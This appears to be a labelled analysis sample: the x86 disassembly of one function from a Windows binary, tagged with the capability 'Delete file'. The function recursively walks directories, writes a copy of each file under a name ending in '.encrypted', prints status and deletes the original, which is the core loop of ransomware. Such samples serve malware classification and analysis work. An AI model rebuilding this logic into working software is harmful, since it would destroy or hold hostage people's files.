Function at 0x403e10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408fed
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x68], edx
mov byte [ebp - 0x5c], 0
mov edx, ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.00407390
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x80]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.00405c80
add esp, 4
test eax, eax
jne 0x4041b7
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x6c]
cmp ecx, 7
jbe 0x403ebd
mov edx, dword [ebp - 0x80]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403eb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403eb3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00407d46
add esp, 8
mov edi, dword [ebp - 0x14]
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
test edi, edi
je 0x403ed0
lock inc dword [edi + 4]
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x403ee1
lock inc dword [edi + 4]
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
test edi, edi
je 0x403f19
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x403f19
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x403f19
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov byte [ebp - 4], 5
test esi, esi
je 0x40414a
mov ecx, esi
call fcn.00402e00
test al, al
je 0x404134
lea ecx, [esi + 0x20]
push ecx
lea eax, [ebp - 0x38]
push eax
call fcn.00405ae0
mov byte [ebp - 4], 6
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x28]
sub eax, edx
mov dword [ebp - 0x60], edx
cmp eax, 0xa
jb 0x4041b2
cmp dword [ebp - 0x24], 0xf
lea eax, [ebp - 0x38]
lea ecx, [edx + 0xa]
mov dword [ebp - 0x40], 0
cmova eax, dword [ebp - 0x38]
lea edi, [ebp - 0x50]
mov esi, 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x3c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x5c], ecx
movups xmmword [ebp - 0x50], xmm0
cmp ecx, esi
jbe 0x404007
mov esi, ecx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x403fac
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
jmp 0x403fd4
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x403fc2
xor edi, edi
jmp 0x404001
cmp eax, 0x1000
jb 0x403ff0
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4041c7
push ecx
call fcn.00407d16
add esp, 4
test eax, eax
je 0x403ead
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x403ffb
push eax
call fcn.00407d16
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x50], edi
push edx
push eax
push edi
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], esi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 0x60]
movq xmm0, qword [str..encrypted]
movq qword [ecx + edi], xmm0
mov ax, word [0x40a4ec]
mov word [ecx + edi + 8], ax
mov byte [edi + ecx + 0xa], 0
push dword [ebp - 0x68]
lea edx, [ebp - 0x50]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x38]
call fcn.00403710
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x40a4f0
call fcn.00405e30
cmp dword [ebp - 0x24], 0xf
lea edx, [ebp - 0x38]
push dword [ebp - 0x28]
cmova edx, dword [ebp - 0x38]
mov ecx, eax
call fcn.004071a0
add esp, 0x14
mov ecx, eax
push 0x406050
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [ebp - 0x24], 0xf
lea eax, [ebp - 0x38]
cmova eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
test eax, eax
je 0x4040b2
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x40a4fc
call fcn.00405e30
push 0x406050
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x4040ea
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4040e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ead
push ecx
push edx
call fcn.00407d46
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0xf
jbe 0x404134
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40412a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ead
push ecx
push edx
call fcn.00407d46
add esp, 8
lea ecx, [ebp - 0x20]
call fcn.00403610
mov esi, dword [ebp - 0x20]
test esi, esi
jne 0x403f25
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x404172
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x404172
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x404172
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
test edi, edi
je 0x404197
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x404197
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lock xadd dword [edi + 8], esi
dec esi
jne 0x404197
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407d08
mov esp, ebp
pop ebp
ret
call fcn.00401170
lea ecx, [ebp - 0x80]
mov edx, eax
push ecx
mov ecx, str.recursive_directory_iterator::recursive_directory_iterator
call fcn.00402ce0
call fcn.004010d0
int3